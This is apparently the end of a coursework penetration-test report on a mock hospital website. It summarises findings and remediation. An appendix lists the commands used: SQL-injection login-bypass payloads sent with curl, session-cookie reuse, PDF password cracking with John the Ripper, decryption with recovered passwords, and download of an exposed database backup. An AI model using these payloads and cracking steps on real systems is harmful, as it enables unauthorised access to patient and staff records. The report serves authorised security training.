The authorized assessment successfully met the three technical milestones. M1 demonstrated that the

patient authentication mechanism could be bypassed through a controlled SQL injection and that three protected laboratory

reports could then be retrieved. M2 demonstrated that the reports were encrypted but recoverable within the exercise and that all three could be independently decrypted and validated locally. M3 demonstrated that a publicly accessible SQL backup exposed sensitive staff and shareholder information.

The assessment also identified supporting weaknesses in directory configuration, username enumeration, verbose error handling, application/log exposure, robots.txt disclosure, session-cookie hardening, technology disclosure and HTTP security headers. The most important remediation themes are parameterized queries, strong authentication and authorization, removal of public backups, disabling directory listing, secure session configuration, and reduction of unnecessary information disclosure.

All exploitation was kept within the authorized target and the assessment restrictions. No denial-of-service or destructive testing was performed.

Appendix A — Key Commands Used

```
curl -s -o /dev/null -w "HTTP Status: %{http_code}\nTime: %{time_total}s\n" https://medirozahospital.com
whatweb https://medirozahospital.com
curl -sS https://medirozahospital.com/robots.txt
curl -sS https://medirozahospital.com/sitemap.xml
curl -sS https://medirozahospital.com/patient/
curl -sS --data-urlencode "username=test" --data-urlencode "password=test"
https://medirozahospital.com/patient/login.php
curl -sS --data-urlencode "username=admin" --data-urlencode "password=admin"
https://medirozahospital.com/patient/login.php
curl -sS --data-urlencode "username=' OR '1'='1'" --data-urlencode "password=x"
https://medirozahospital.com/patient/login.php
curl -sS -c recon/m1-auth-cookie.txt -o /dev/null -w "HTTP %{http_code} -> %{redirect_url}\n"
--data-urlencode "username=admin"-- --data-urlencode "password=x"
https://medirozahospital.com/patient/login.php
curl -sS -b recon/m1-auth-cookie.txt https://medirozahospital.com/patient/portal.php
pdftotext m1/reports/report-1.pdf
qpdf --show-encryption m1/reports/report-1.pdf
pdf2john m1/reports/report-1.pdf > m2-report1.hash
john --format=PDF --wordlist=/usr/share/wordlists/rockyou.txt m2-report1.hash
qpdf --password='123456' --decrypt m1/reports/report-1.pdf m2/decrypted/report-1.pdf
qpdf --password='password' --decrypt m1/reports/report-2.pdf m2/decrypted/report-2.pdf
qpdf --password='!@#%$^&' --decrypt m1/reports/report-3.pdf m2/decrypted/report-3.pdf
pdftotext m2/decrypted/report-1.pdf m2/report-1.txt
curl -sS https://medirozahospital.com/old/mediroza_db_backup_2019.sql -o m3-mediroza_db_backup_2019.sql
```

Appendix B — Reporting Notes

- Do not include full patient medical information in screenshots unless explicitly required by the instructor.
- Redact patient names, IDs, dates of birth, contact details and other unnecessary personal data in the submitted report.
- Keep original evidence files separately so the instructor can verify the technical claims if requested.
- Where a tool failed, report the failure accurately; do not replace an unsuccessful tool result with an assumed success.
- The John the Ripper attempt in this run is recorded as unsuccessful; qpdf verification is the basis for the successful M2 result.